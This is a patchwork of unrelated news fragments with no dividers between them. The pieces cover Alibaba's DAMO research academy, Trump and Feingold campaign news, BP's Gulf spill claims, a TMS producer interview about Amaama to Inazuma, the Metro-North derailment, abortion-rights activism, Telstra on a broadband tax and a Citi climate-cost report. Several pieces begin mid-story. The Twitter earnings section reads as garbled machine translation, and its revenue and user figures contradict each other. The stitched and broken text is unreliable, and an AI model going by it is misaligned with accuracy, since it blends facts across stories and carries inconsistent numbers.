The attack occurred despite significant military victories by the four countries in winning back territory from Boko Haram in northern Nigeria.
Chinese e-commerce titan Alibaba announced today that it plans to invest more than $15 billion over the next three years in a global research and development program.
Fintech will be among the target areas of R&D.
Alibaba’s own internal research teams, and those of its affiliates, Ant Financial and Cainiao, as well as a about 100 additional researchers it will hire worldwide, will also be involved in the project, called the DAMO Academy, or the Academy for Discovery, Adventure, Momentum, and Outlook.
Currently, Alibaba employs about 25,000 engineers and scientists.
Alibaba Chief Technology Officer Jeff Zhang said the DAMO Academy will include the construction of a number of labs in China, the United States, Russia, Israel, and Singapore that will be devoted to researching data intelligence, financial technology, quantum computing, human-machine interaction, Internet of Things, natural language processing, and more.
Zhang will lead the Academy, along with an advisory board of researchers and educators from some of the world’s leading universities, including MIT, Harvard, Princeton, and Beijing University. The full list of individuals serving on the advisory board is available online at BusinessWire.com.
DOMA Academy will nearly double Alibaba’s annual R&D budget, which for fiscal year 2017 will total $2.6 billion.
Read more at: Bloomberg, Business Wire, CNBC, and Tech in Asia.
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Donald Trump said a new chapter of the campaign has begun and previewed a forthcoming speech detailing Hillary Clinton's alleged corruption on Tuesday, the final day of voting in the GOP presidential primary.
"Tonight we close one chapter in history and begin another," Trump told a room full of supporters.
In an uncharacteristically scripted speech, Trump thanked voters in New Jersey and South Dakota for his projected unopposed victories. Republicans in California, Montana and New Mexico are also voting.
But his speech, which he delivered using teleprompters at Trump National in Westchester, New York, was focused mostly on his campaign's message of "winning" trade deals and international agreements, as well as ripping Clinton for controversies and her record as secretary of state.
"The Clintons have turned the politics of personal enrichment into an art form for themselves," Trump said. He said he is planning to deliver a speech going into detail about Clinton's controversies next week.
Trump also began his speech by appealing to Bernie Sanders supporters after new new organizations declared Clinton the presumptive Democratic nominee Monday night.
LONDON (Reuters) - British oil company BP (BP.L) wants Prime Minister David Cameron to intervene with the U.S. government over the escalating cost of compensating U.S. companies for the Gulf of Mexico oil disaster in 2010, the BBC reported Thursday.
BP is still fighting a court battle in New Orleans over fines and other potential spill liabilities, but it struck a deal last year with a wide range of compensation claimants, including businesses.
The total amount was not set, and BP has set aside over $8 billion to make the payments, but it now sees those business economic loss (BEL) payments escalating, and is challenging the way they are being calculated - calling some of the claims “fictitious” and “absurd”.
In a Web video announcing his candidacy Thursday morning, Feingold portrayed himself as an independent voice that will reach across the aisle to get things done.
“Let’s fight together for change,” Feingold says in the video. “That means helping to bring back to the Senate strong independents, bipartisanship and honesty. So today, I’m pleased to announce that I’m planning to run for the U.S. Senate in 2016, and this effort begins with listening to you.”
Democrats believe Feingold gives them their best shot at picking up the Wisconsin seat, as they try to win back the Senate majority, and party leaders quickly backed his candidacy.
No Republican has won Wisconsin in a presidential election year since 1984, and Feingold leads by 9 percentage points, according to a survey from the Democratic firm Public Policy Polling.
Johnson said he wasn't surprised that he is in for a rematch.
"Well, it was expected," he said. "I welcome him to the race."
Johnson also hailed his record as a businessman, and argued that Feingold worked to grow the goverment while he served in the Senate.
Feingold is "fully committed to a government that's more intrusive, wants to spend more money, wants to rule your life, so it's going to be a pretty stark contrast," Johnson said.
“Russ has a long record of standing up to the special interests trying to influence our democracy and a strong reputation of working to create opportunity for all Wisconsinites,” Tester said in a statement. “As Senator, I know that Russ will always put Wisconsin first and we’re very proud to support what will be his successful campaign.”
Johnson defeated Feingold by 5 percentage points in 2010, and Republicans expressed confidence he will do so again.
The National Republican Senatorial Committee labeled Feingold a “desperate career politician” whose “ego still can’t grasp that he was soundly defeated” in 2010.
“Wisconsin families rejected Feingold’s broken promises and his liberal record once and they are going to do it again,” NRSC spokeswoman Andrea Bozek said in a statement. “Wisconsin voters know a desperate career politician when they see one and that is why they will re-elect their independent leader, Ron Johnson.”
Democrats believe they have the upper hand in the race because Johnson’s defeat of Feingold came in a midterm wave election for Republicans.
Johnson, a businessman from Oshkosh, poured millions of dollars of his own money into the 2010 race, and he has said he won’t self-fund this time around.
Feingold turned down financial help from outside groups and national Democrats in that race, sticking with his support for campaign finance reform. Political observers will be watching closely to see whether Feingold shifts his stance as he enters what is likely to be an expensive Senate race.
Johnson has been fundraising at a quick pace, bringing in $1.3 million in the first quarter of the year, his biggest quarterly haul. That sum boosted his cash on hand from $600,000 at the end of last year, to $1.5 million.
Feingold struck a populist tone in his announcement, saying he was pushed to run by conversations he had with people who are concerned that the “multimillionaires, billionaires and big corporations are calling all of the shots.”
“I’ll be hitting the road from here, travelling to communities all across the state listening closely to my fellow Wisconsinites talk about their concerns, especially when it comes to their economic well-being,” Feingold said.
The Wisconsin Democrat quickly landed the backing of the progressive group Democracy for America (DFA), which called him “one of our country's most inspiring progressive champions” and noted he was the lone senator to vote against the Patriot Act in 2001.
“Senator Russ Feingold is precisely the kind of fighter and truth-teller our country needs in the U.S. Senate,” DFA Chairman Jim Dean said in a statement.
The endorsement is crucial, as DFA and other progressive groups have shown an early willingness to mix it up with establishment-backed Democratic candidates in the primaries this cycle.
— This story was last updated at 3:30 p.m.
Background info – TMS was founded under the name Tokyo Movie in 1964, where its A Production unit employed animators such as Dezaki Osamu, Miyazaki Hayao and Isao Takahata. TMS also has several subsidiaries including Telecom Animation Film (TAF), TOCSIS and TMS Music [you may recognize them as the company that signed up Kitamura Eri recently]. In 2005, Sega Sammy Holdings bought a 51% controlling stake in TMS Entertainment.
As for Suzuki Tsuneyasu he is not particularly well-known – his credits only stretch back to around 2008 when he was working on scripts for TMS – officially 文芸担当 (bungei tantō, lit. ‘in charge of literature’), which entails little things like checking scripts for consistency. This year, he has sat on a couple of anime production committees for TMS – ie. Bananya, Amaama to Inazuma and Trickster. In this interview he talks about his role as producer for Amaama to Inazuma; how the anime came to fruition, the reasons behind the seiyuu castings, and the appeal of the series.
The role of an anime producer and the circumstances leading to an anime adaptation
Q: First of all, please introduce yourself.
A: I am Suzuki Tsuneyasu from TMS Entertainment. I am producing the TV anime Amaama to Inazuma. Some of the productions that my company TMS Entertainment has been involved with include Soreike! Anpanman, Lupin the III and Detective Conan, which are all famous series that appeal to a wide range of ages.
Q: In other words, [TMS] mainly produces family-friendly works.
A: Recently we have started to work on quite a few late-night anime such as Yowamushi Pedal and ReLIFE. We do not focus only on making anime but also on the business aspects, as an anime production company.
Q: By the way, what kind of work do you actually do as an anime producer?
A: As the company is also responsible for overall production, the role itself involves working in tandem with Producer Nozaki who’s from the production unit and oversees the production process, as well as with other members of [an anime’s] production committee on areas such as development of secondary businesses, investment sourcing, handling business aspects like advertisement and contracts.
Q: Looking at staff credit rolls, we see several names listed under ‘producer’ – what kind of role do you play amongst the group?
A: My role involves working with each of the producers so I can get a better grasp of the flow of the animation production as a whole, as well as being responsible for planning, execution and management.
Q: Thank you for your explanation. Moving on, I’d like to enquire about the story of how Amaama to Inazuma came to receive an anime adaptation…How does planning for an anime actually begin in the first place?
A: It differs from company to company but TMS’s system involves submission of plans from all the various departments; in [Amaama’s] case it was a proposal from the Production Headquarters division. I mentioned Nozaki a moment ago; he already had a vision of the staffing and the visuals [that would be suitable], saying, “I want to do this show!”. I had also read the manga and found it very interesting myself, so we set up the planning process in-house before taking the proposal to Kodansha.
This particular proposal originated from the Production HQ but to be fair, all we did was put together a short summary of the project’s direction in a manner that respects the creative process.
We had, at the same time, launched an anime business project called ‘Anime no Me’ in conjunction with Shin-ei Douga, East Japan Marketing, Sumitomo Corp and Asmik Ace. ‘Anime no Me’ is similar to the ‘noitaminA’ and ‘Animeism’ concepts but rather than a programming block, it is a general name for an anime business model where the 5 companies mentioned will actively collaborate to deliver projects. We had discussions on what series should be chosen to lead off (Anime no Me), and Amaama to Inazuma was selected.
Q: What is the reasoning behind the ‘Anime no Me’ name?
A: Within the words ‘Anime no Me’ (lit: the ‘Eyes of Anime’ ), lies ‘me’ (め), which refers to; 1) the ‘eye’ (目) of a storm, and 2) a bud (芽) that’s starting to bloom; both of which bring the meaning of ‘taking on new challenges’. This implies trying out new genres and branching off in directions that others have yet to go.
Q: As you mentioned earlier, TMS solicits anime adaptation plans from its various departments.
A: At present we have a section specifically for project review and analysis but before that I was part of the planning and promotion section and we’d petition ideas from various other departments. We won’t look only to the production division but would try to see if the merchandising unit has any ideas about hot properties, or talk to the overseas units about works that might sell globally. From the data we collected from each department, Amaama to Inazuma was one of the works chosen [for an anime adaptation].
Q: Incidentally, how long does it take for an anime adaptation to go from initial planning to airtime?
A: Planning for [Amaama] started around the time when there were two volumes of manga out. So that means the project began in 2014.
Q: I see. Those were the first steps taken towards making an anime adaptation. What was the process involved in selecting the production team including the director?
A: We’d concluded that ‘there is no one for the role except Iwasaki Taro-san’. In 2014, an anime named Isshukan Friends. was broadcast, through which you could feel his light touch and delicate style that resonated in your heart; it was a work that handled the original manga well. For those reasons and also because we thought that he would be able to meld the gentleness of the manga into the visuals, we put in the request for him to direct the series. As for other staffing, it was handled mainly by the Director and Nozaki.
Q: Please tell us about any aspects you struggled with or any painstaking points that came up during the making of the anime.
A: Based on what I’ve heard from the Director, one particular point that came up in production was to treat the food reactions as being just as important as the actual cooking and eating of the food. Additionally, each episode featured quite a number of cooking scenes – though it was tough for the animators, we managed to keep the art in line and made sure it remained consistent.
According to the Director, the descriptions of the cooking may seem monotonous but they are acts packed with the love of both Tsumugi and Inuzuka. We also tried to keep in mind that Tsumugi expresses herself without thinking about or understanding the reasons behind [her] intentions and actions.
If you try to depict a child logically from the viewpoint of an adult, the sense of childlikeness would inevitably be lost, so we were careful in ensuring that Tsumugi’s childish cuteness came across.
An arrangement unique to anime – a work packed with plenty of charms
Q: The series is gaining an increasing number of fans in the wake of the TV anime adaptation. What do you think are the reasons it has managed to grab viewers’ hearts?
A: From an anime business viewpoint, when you’re starting up a project it is inevitable that what you’re working on will share similarities with other existing works. This time though, taking into account that the project had been brought up by the production division as well as the fact that TMS itself would be the production company in charge, the planning for the anime started on the basis of making something that would be ‘interesting’ rather than something that would ‘sell’. We set up the project without thinking about things like ‘If we insert so-and-so character here we can sell X merchandise’ etc. I think that in that way we were able to differentiate our show from what was already out there and ended up getting a good reception.
Q: It was a series that was made with ‘enjoyment’ as its biggest priority.
A: I think one of the reasons for that was because the series has universal themes of cooking, family, childcare and so on. Nowadays, we are seeing a rise to prominence of the ‘eating alone’ phenomenon where many often eat their meals alone; I think people will be able to identify with this sort of show that touches on the problems faces by modern society. Besides that, we wanted as many people as possible to see this work so we rejected an exclusive distribution model in favour of delivering content through a variety of channels – I do feel that the distribution method was also an important factor in how well the show was received.
Q: So the important points in this work are parent-child communication, cooking and eating.
A: This overlaps with what I said earlier but it is indeed tough working on scenes that involve conversations between adults and children, not just for Amaaama to Inazuma but in general. During production, even the slightest mistake would make the whole thing seem unnatural. There is a part in the anime that shows how talking to a 5-year old child can be a one-way street which is quite realistic in a sense. You have [children] screaming without warning and saying things out of context, while the adults try to digest all of that – it may appear like they do not understand each other at all when they actually do. The manga depicts all of these scenes really well.
I think the Director was also mindful of preserving those manga portrayals as he worked on the show. He also believed that it would be better if we brought in someone who had had children themselves, which was why we requested Hirota Mitsutaka-san to take charge of series composition. I think Hirota-san did draw considerably from his own real-life experiences, slotting interesting things that his child had actually said into parts of the dialogue.
Q: Those were original elements unique to the anime.
A: Apart from episode 7, we basically tried to stick to 1 episode per chapter of manga. Within about 30 minutes per episode Hirota-san and the Director would extract the goodness of the manga and try to inject in dialogue and developments that are only possible in anime – their personalities were a good mix of spices.
Q: Episode 7 covered 2 chapters of the manga as well as incorporating a fair amount of original content – was this down to the Director and Hirota-san?
A: That’s right. We wanted to animate as much of the manga material as possible but it didn’t quite work out that way. For episode 7 we discussed at length which stories should be covered – both chapters were staff favourites and Hirota-san explored the possibilities of knitting them together smoothly without compromising the quality of the material, and the result was an excellent episode unique to the anime.
*note: Episode 7 (Goheimochi and a Great Adventure) combined parts of Chapters 10 and 14 of the manga
Q: The developments in the episode were slightly different to what we’d seen previously; where Tsumugi’s little adventure caused the normally good-natured Inuzuka to fly off the handle – it was pretty dark.
A: Personally, it was one of my favourite episodes. Covering 2 chapters of the manga made it twice as delicious as normal, I thought.
Q: I was surprised by the scene where Tsumugi heads towards Kotori’s household, singing a musical tune.
A: I think that this episode was one where you could clearly feel how much the production team loved working on the show. The bit before that scene with [Tsumugi watching] the in-show Magical anime was amazing too (laughs).
Q: That’s true…it’s only an in-show anime but quite a lot of energy was poured into it (laughs)
A: Watching the show, I thought to myself – the animators sure put a lot of effort into that (laughs). For some reason, ever since the project launched Nozaki had been really enthusiastic about Magical, saying ‘We’ll make sure we give our best [for Magical]!’. Actually, he did attempt to get a whole episode made for inclusion as a Bluray/DVD special and the Director was quite eager to do it as well but alas, various circumstances scuppered those plans (laughs).
Endo-san’s acting melted the hearts of the male staff
Q: For this series, Nakamura Yuichi was cast as Inuzuka, Endo Rina as Tsumugi and Hayami Saori as Kotori. Tell us more about how those castings came about.
A: We held casting meetings with the Director and Sound Director at the fore, making sure that we also considered the opinions of author Amagakure Gido. I think everyone had their own image of the what the character’s voices should be like, but we all agreed that Nakamura-san, Endo-san and Hayami-san fit the characters perfectly.
Depending on the series involved you sometimes see disagreements arise during casting meetings but for Amaama it went quite smoothly and we put in the offer to those 3. Initially the Director was considering whether to use a child for the role of Tsumugi and Sound Director Tanaka Kazuya assured him that it was perfectly fine, having previously worked with children himself – that was how we came to cast a child in Tsumugi’s role. I think it turned out incredibly well.
Q: What was the decisive factor in casting the role of Tsumugi?
A: I think the decisive factor was that based on the static images of the manga, [Endo-san] was able to naturally visualize and bring to life Tsumugi’s energy and animated chatter.
Q: With those 3 on board, what was it like watching the performances of the cast members during recordings?
A: The 3 of them fit their characters perfectly and that was really great but on top of that, I could feel how with every passing episode, Nakamura-san and Endo-san truly became like family. This was not only due to their acting skills, but also because they would get more and more in tune with each other as the weeks went by. I was able to observe from recordings how the relationship between the two of them evolved, bit by bit.
Q: Tell us what the atmosphere during recording is actually like.
A: Endo-san is a polite and courteous girl; her younger sister also comes along to recordings and she’s a real mood-maker in the waiting rooms – she even gives me sweets sometimes (laughs). I can say this as one of the people who observes the recording process – Endo-san’s acting kills us…. (laughs). Especially the old geezers amongst us; her fearsome acting really brings out our paternal instincts and melts us all – it is a recording studio where we’re constantly being impressed by Endo-san and having fun all the time.
Q: Were there any particular tricks that the staff devised for recording?
A: I can’t explain things in detail as I am not actually involved with the production side of things, but I do know that the Director and Sound Director gave the cast members a certain degree of freedom, leaving a fair portion of their performances entirely up to them. Recordings did not take a long time – most of the time, we’d finish on schedule with the afureko progressing smoothly. For that to happen the cast must interpret the series appropriately and produce performances that fit the image of what the director wants.
Q: The anime’s opening theme Harebare Fanfare is performed by Mimi Meme MIMI and the ending theme Maybe by Brian the Sun. Are there any interesting stories concerning either song?
A: Opening theme performer Mimi Meme MIMI were originally fans of the manga while Brian the Sun had great interest in the work as well, which is why the offers went to them. We also held meetings to express the Director’s vision, although there was no concrete instruction for what they were to produce; it was basically ‘please write whatever you like’, and that was how the theme songs came to be. You can interpret the songs in many ways as they are original lyrics written specifically with the series in mind – I think impressions change depending on the individual viewer.
Q: Do you have any favourite episodes?
A: I liked the first one. You could say that the ‘purity level’ of the content is high, or maybe that all the charms of Amaama to Inazuma were condensed into that one episode. It’s interesting no matter how many times you watch it; it makes you cry, it moves your heart. It’s the same as movies – though you already know how the story goes, you can’t help but keep watching it over and over whether it’s on TV or through the DVDs; that is how I feel about episode 1.
Apart from that I’m also fond of episodes 3 and 4. The scene showing how she dislikes bell peppers, and the one where she doesn’t get along well with her kindergarten friends – these showed that the negative sides of children could actually appear quite adorable depending on how you choose to view things – I really loved them. Also, we see that Tsumugi starts off watching the cooking on the side-lines but she gradually starts to help out. Of course that means she’s just dancing around showing her support but that itself is so child-like.
What to look forward to for Amaama to Inazuma
Q: The anime itself is on the cusp of its final episodes – please tell us what we should look forward to in the second half of the series.
A: The majority of family dramas are episodic in nature with the characters staying the same age, but this anime is a drama that shows how each character grows little by little. Now that we’re heading towards the finale, I think you’ll realize just how much they’ve grown if you go back and watch the show from the first episode. I definitely recommend re-watching the series, please do!
Q: It’s not just Tsumugi who shows growth, but Inuzuka and Kotori too.
A: That’s right. Inuzuka is growing as a parent while Kotori not only grows in terms of her cooking but emotionally as well; it’s another highlight of the series involving the characters besides Tsumugi.
Q: With the anime concluding, is there anything else in store for the series after that?
A: The first volume of the DVD/Blurays will be released on October 5 (Wednesday) with a tie-up event in Odaiba’s Tokyo Joypolis for 2 weeks from Oct 2-16 (Sun to Sun). There will be a collaboration café along with goods, attractions and much more. On the first day there will be a talk show featuring Nakamura-san, Endo-san and Hayami-san, so please look forward to it.
Q: Even if the anime is over, the series will continue its development.
A: Hmmm, I am still thinking of a couple of developments for the future.
Q: Please leave a message for the fans.
A: Do watch Amaama to Inazuma and allow it to make you feel hungry, then go and share a meal with your friends, family and loved ones!
Q: Thank you for your time.
The growth of the user numbers on Twitter is now over. The number of monthly active users stagnated in the past three months at 328 million, as the short news service on Thursday communicated. In the US, Twitter lost even two million users: from 70 to 68 million.
After a relatively strong first quarter, analysts had again expected a further significant increase, even with a user growth of several million. The “Trump-boom”, however, seems to be over: the fact that the most powerful man in the world has chosen the short news service as his voice tube does not use the company.
Twitter lost active users in the past quarter. The market was expected to grow at least slightly, the stock that had already been heavily battered temporarily lost more than 13 percent in post-trading. Later, the downturn fell to a good four percent.
Twitter reported 305 million active users for the fourth quarter when the subscribers of an SMS service were billed. This was a decline of two million within three months. Analysts, on the other hand, were expecting an increase of two million. Together with the SMS service, the number of users stagnated at 320 million, while the stock market was expected to rise to 323 million.
The once-fast growth in user numbers on Twitter had drastically slowed down last year and all attempts to get it back into focus have so far been unsuccessful. This also slows down the business, as Twitter relies on advertising, as well as company-paid Twitter messages.
In the past quarter, there was a loss of $ 90.2 million after a minus of 125.3 million a year earlier. Throughout the year, Twitter lost more than half a billion dollars. Quarterly revenue grew 48 percent to $ 710 million, as Twitter reported after US stock exchange closing.
Not a real good time
The tough fight for the turnaround continues on Twitter. On presentation of the latest business balance for the past second quarter, CEO Jack Dorsey once again failed to achieve the exemption. In the balance sheet period between April and June, the social media pioneer once again suffered a downturn in business: Revenues fell by a further 5 percent to $ 574 million, while the loss expanded again by 9 percent to $ 116 million. Because the user development has also stagnated in the past 90 days, the stock continues to break.
Share fell by more than eleven percent
Accordingly, investors were disappointed: The share fell to the US trading start by more than eleven percent. Since the start of the year, however, the course has also risen by around one-third, with the revived growth hopes.
The second car had twisted as it flipped onto one side and then the other, ejecting several passengers through the windows.
The third car had people trapped inside.
But the fourth was the most challenging to the firefighters because it was sitting at a tilt and swayed as they worked to extricate the injured.
“The car was teetering back and forth,” later said FDNY Capt. James Ellson of Rescue 3. “So the removal of those people was getting a little tricky.”
In all the cars, there were more injured people than the firefighters and cops could immediately assist in those early minutes. The rescuers, who are geared to helping whoever needs it, had to make a difficult request to the passengers who were less badly injured than others.
“It’s very hard to ask a civilian who was just involved in an accident to help us,” Ellson would recall. “They had just been involved in a very bad train accident, and now I’m saying, ‘I need your help, I need you to help people who are in worse shape.’ I asked everybody, ‘Listen, look at the people next to you, and if they need help, help them.’ And they did it.”
The response was all the more remarkable because of what all these people had just been through as the cars violently flipped onto one side, righted, then flipped onto the other side. The people on the higher side had been tossed onto those on the lower, and then all of them had been thrown back the other way in a jumble.
“You’d think people would want to just get out and run as far as they could, but people were very good,” Ellson said afterward. “It is amazing. One moment they’re riding the train, they’re coming or going to work and it’s Sunday morning, and the next moment their whole lives are tossed up in the air, and they’re not just a survivor, you’re asking them to help.”
The better-off passengers applied gauze to the wounds of others and offered whatever aid and comfort they could as the firefighters attended to those who were most seriously injured.
“A lot people [were] unconscious,” a firefighter said. “A lot of broken bones and head injuries.”
The firefighters had responded to the report of a derailment hoping it might have been a garbage train or one of the unoccupied trains Metro-North sometimes runs to Grand Central Terminal. They knew otherwise when they saw numerous passengers self-evacuating from the cars.
A number of passengers had been catapulted through the windows, in one instance with tragic results. Two passengers were trapped under cars and the firefighters dug them out, cutting away what need cutting, then using hand tools and just hands.
Many more injured passengers were in the cars. Just gaining entry was difficult, and in many cases firefighters had to clamber up and lower themselves through windows. They then had to choose who was most in need of assistance.
“You don’t have one to one rescue personnel to civilian,” a firefighter said later. “Everybody had bumps and bruises. Then you have people in very bad shape.”
The firefighters and the responding cops worked as quickly as they could while still taking care not to cause further injury. They made sure to stabilize and immobilize spines and necks before attempting to move a victim. They then faced the question of the best way to get the person out, and in several instances the heavy steel doors at the end of the car were jammed shut.
Once the injured were removed, they were taken to a casualty collection point. The firefighters did not want the ambulatory passengers to chance onto an electrified rail or encounter some other hazard. The firefighters directed them to the nearby Spuyten Duyvil Station. The passengers did as they were instructed.
“The walking wounded were very good,” a firefighter noted.
More firefighters continued to arrive, along with more officers from the NYPD and the Metro-North Police.
“Everybody worked together,” a firefighter reported.
Just before 2 p.m., Rescue 3 left the scene. Other firefighters and cops were assigned to remain on hand as Metro-North officials and investigators from the National Transportation Safety Board sought to determine the cause of the derailment. A black box was recovered from the engine. The train operator had reportedly said his brakes failed as he came to a curve where he was supposed to slow from 70 mph to 30 mph.
Some 150 passengers had been aboard, five of them off-duty cops. A total of 67, including three of the cops, were transported to local hospitals. Eleven passengers were listed in critical condition. Everybody gave thanks that the wreck had not occurred on a weekday, when those seven cars might have been filled with 1,000 people or more.
“It would have been the worst train disaster in New York history,” a firefighter said.
That would have included the 1882 collision of two trains on almost this very spot, killing 12, including state Sen. Webster Wagner.
The four dead from this Thanksgiving weekend wreck of 2013—who included a media consultant named Jim Lovell, on his way to help prepare the Christmas tree at Rockefeller Center for the annual lighting—were a reminder that our most fundamental blessing, the gift of life, is forever subject to happenstance. You need only chance to sit in the wrong seat on the wrong train. A good many survivors afterward offered thanks to a higher power instead of simple blind luck.
“God is good!” exclaimed a 19-year-old college student.
“Thank God!” said the husband of a conductor.
If God is in goodness just as the devil is in evil, then God was indeed manifest in all those battered and shaken people who heeded the call from the firefighters to help somebody more injured than themselves. Ellson knew just what to call this kind of grace.
Close video NC faces backlash on anti-LGBT law North Carolina Governor Pat McCrory is facing criticism from a growing number of politicians including the governors of New York, Washington, and Vermont after his signed a law that eliminated anti-discrimination protections for LGBT people. The… share tweet email save Embed
That was just in the month of March.
In that same month, Republican governors approved the defunding of Planned Parenthood in Florida; required potentially dangerous anesthesia for some women’s abortions in Utah; and signed a sweeping anti-abortion bill in Indiana that, among other provisions, restricts women who choose abortion in the case of fetal anomaly. Arizona’s legislature approved a bill, since signed into law, that forces doctors to use a less safe and more onerous protocol for administering the pills that induce abortion. A week after vetoing the anti-transgender bill, South Dakota’s governor signed a ban on abortion at 19 weeks, with no exception for rape and incest.
Advocates for abortion rights fiercely protested, including Indiana women calling Gov. Mike Pence with updates about their periods. But there were no state travel bans, no Fortune 500 boycotts, no sports franchises vowing to move their All-Star games.
The contrast isn’t lost on supporters of abortion access. Reproductive justice activist Renee Bracey Sherman recalled watching Georgia Gov. Nathan Deal discuss his veto on television, saying Georgia was a “loving state.”
RELATED: NC’s McCrory dismisses criticism of new discrimination laws
“It’s a loving state, except if that love results in an unintended pregnancy,” Bracey Sherman said.
The parallel isn’t perfect. Thanks to Roe v. Wade, abortion is technically legal in all 50 states and has been for decades. Despite a run of legal victories, including on marriage, there is no federal anti-discrimination protection for LGBT people. And the fates of reproductive rights and LGBT rights are intertwined, with both their constituencies and their opponents overlapping.
Still, in issues often yoked together as “culture wars,” it is undeniable that LGBT rights activists have succeeded in making their cause so mainstream that Republican governors of red states face serious pressure. Meanwhile, advocates for abortion rights are left to cheer when a Democratic governor vetoes a restriction on non-abortion funding for Planned Parenthood.
Close video Anti-abortion activist on punishments In a 2014 MSNBC original report, Irin Carmon spoke with anti-abortion activist Toby Harmon about punishments for women who have abortions, if abortion were to become illegal in the United States. share tweet email save Embed spoken out against “religious freedom” laws. (He is himself gay.) Women make up about 5 percent of the CEOs in the Fortune 500, and no one interviewed could think of any corporate executive of any gender who had spoken out about abortion.
Sarah Warbelow, legal director of the Human Rights Campaign (HRC), a major player in pushing against anti-gay laws, credited employee resource groups focused on being LGBT for pressuring companies to join boycotts. “There are employee resource groups for women, but if abortion is part of that conversation, it’s only one part of the conversation,” Warbelow said. “Obviously, the engagement has been more robust from the business community” when it comes to anti-gay bills compared to anti-abortion bills, she conceded.
“The business backlash we’re seeing now to anti-LGBT legislation was a decade in the making,” said Ilyse Hogue, president of NARAL Pro-Choice America. “There has been a deficit in organizing businesses in from the pro-choice perspective.”
Some highly visible tech executives have discussed their own reproductive lives: Mark Zuckerberg wrote forthrightly about the miscarriages his wife experienced before her pregnancy with their daughter. Yahoo CEO Marissa Mayer, who gave birth to twins last year, briefly discussed her maternity leave in 2013 when her first child was born, sparking a heated conversation. But while LGBT activists have largely overcome their opposition’s obsession with gay sex, abortion remains stigmatized. Even contraception is rarely discussed in polite public company.
RELATED: Female voter reacts to Trump’s abortion comments
“What would it look like if Marissa Mayer had talked about how birth control had allowed her to space her pregnancies?” asked Bracey Sherman. She pointed out that years ago, businesses began touting their LGBT-friendly benefits. “My hope is that, one day, we will see them tout their health care package that includes access to birth control and abortion.”
Instead, the face of corporate involvement in reproductive rights is companies like Hobby Lobby, who won at the Supreme Court the right to refuse women employees coverage for contraception under the federal religious freedom law.
Some activists believe that winning too fast hurt the cause of abortion rights. ”We started losing the minute we thought Roe was the end,” said Hogue, referring to the sweeping effect of the Supreme Court legalizing abortion in 50 states in 1973. By contrast, gay rights activists organized incrementally, in the realms of culture, law, politics and the marketplace.
Andrea Miller, president of the National Institute for Reproductive Health, agreed that the legality of abortion had led to general complacency. “There’s still this underlying presumption that there’s a kind of safety net in Roe v. Wade,” she told MSNBC. “We know that safety net is in tatters, but people are not aware of the extent of the laws that have been passed.”
And abortion rights activists face the challenge that many of their opponents are female.
RELATED: Women are already being prosecuted for having abortions
“People who call themselves women have so many other allegiances, like economic and religious,” said Linda Hirshman, the feminist author of, among other books, “Victory: The Triumphant Gay Revolution.”
About one-third of women will have an abortion before the age of 45, according to the most recent data from the Guttmacher Institute, but those women may not have shared that with their family and friends. “Most people don’t know that they know someone who’s had an abortion,” said Warbelow, “whereas today, 8 in 10 Americans know someone well who is LGBT.”
While all kinds of women have abortions, abortion patients are disproportionately low-income and people of color, and they tend to be younger. But Hirshman argues that the first generation of gay rights activists, who organized around HIV-AIDS, were mostly white men who brought with them the confidence of their relative privilege. “They always believed they were entitled to be players,” she said. “They were raised that way. When they found out that because they were gay, they weren’t going to get it, they were indignant.”
Said Bracey Sherman, “Sexism still plays a part no matter which movement you’re in. That keeps people from standing up strongly for things that impact women, such as support for abortion access and trans women.” (Transgender rights advocates have long accused groups like HRC of neglecting their cause in favor of camera-friendly ones like same-sex marriage.)
RELATED: FDA move could radically transform abortion access
Hogue is optimistic that the tide is turning. She points out that frank conversations about abortion are seeping into pop culture and in prominent places, like a recent brief filed to the Supreme Court signed by 113 female lawyers who had had abortions. “A lot of our organizing is telling people that now is the time to speak out,” Hogue said. She pointed to polling showing that the majority of Americans want abortion to be legal. “We have to face the idea that silent support or passive support is not sufficient.”
Australia’s number one telco stopped short of saying it had been blindsided by the government on the tax – known as the regional broadband scheme (RBS) – but said it could no longer support its introduction.
“Our support for a levy was predicated on it being introduced to create a level playing field and targeting the problem being addressed, i.e. revenue-leakage from networks competing with NBN Co,” Telstra said.
“Under that approach the levy would only be payable by those networks that had infrastructure competing with NBN infrastructure.
“However, the RBS has been broadened into a model that is more akin to an industry tax, which will include within its scope networks that are analogous to the NBN rather than just networks that subject NBN Co to revenue leakage via directly competing infrastructure.”
A major concern for the industry is that the broadband tax now appears to be aimed at protecting incursions by NBN Co into the lucrative enterprise market.
While NBN Co has some business services that fall within its mandate, it has also previously tested its boundaries, such as with a cellular backhaul service and connecting non-premises infrastructure like traffic lights.
Telcos are now worried that further tests of this mandate are being planned.
Telstra said taxing fixed-line enterprise services made no sense.
“It was always envisaged that if NBN Co chose to compete in that segment it would do so on a competitive basis and would have factored this into NBN Co’s business case,” Telstra said.
“Consequently, there has been no ‘revenue leakage’ from this segment.”
Vocus likewise did not support the tax, arguing that it is likely to net products that NBN Co does not even compete with, like “dark fibre running between two business premises” and “leased high capacity services between data centres and business premises”.
Optus said it wanted to see corporate high-speed services removed from the scope of the tax.
One of the most interesting findings in the report is that the investment costs for the two scenarios are almost identical. In fact, because of savings due to reduced fuel costs and increased energy efficiency, the Action scenario is actually a bit cheaper than the Inaction scenario.
What is perhaps most surprising is that looking at the potential total spend on energy over the next quarter century, on an undiscounted basis the cost of following a low carbon route at $190.2 trillion is actually cheaper than our ‘Inaction’ scenario at $192 trillion. This, as we examine in this chapter, is due to the rapidly falling costs of renewables, which combined with lower fuel usage from energy efficiency investments actually result in significantly lower long term fuel bill. Yes, we have to invest more in the early years, but we potentially save later, not to mention the liabilities of climate change that we potentially avoid.
The following figure from the Citi report breaks down the investment costs in the Action ($190.2 trillion) and Inaction ($192 trillion) scenarios.
Investment costs of climate Action and Inaction scenarios. Source: Citi GPS.
This conclusion soundly refutes the main argument against climate action – that it’s too expensive, with some contrarians even having gone so far as to claim that cutting carbon pollution will create an economic catastrophe. To the contrary, the Citi report finds that these investments will save money, before even accounting for the tremendous savings from avoiding climate damage costs.
What about those avoided climate costs? As shown in the bottom left corner of the above figure, the difference in climate damage costs between low (1.5°C) warming and high (4.5°C) warming scenarios could be as high as $50 trillion. Even moderate (2.5°C) warming could cost $30 trillion less than a business-as-usual high global warming scenario.
As a result, the Citi report concludes that taking action to cut carbon pollution and slow global warming would result in a positive return on investment.
By comparing the cost of mitigation to the avoided ‘liabilities’ of climate change, we can derive a simple ‘return on investment’. On a risk adjusted basis this implies a return of 1-4% at the low point in 2021, rising to between 3% and 10% by 2035.
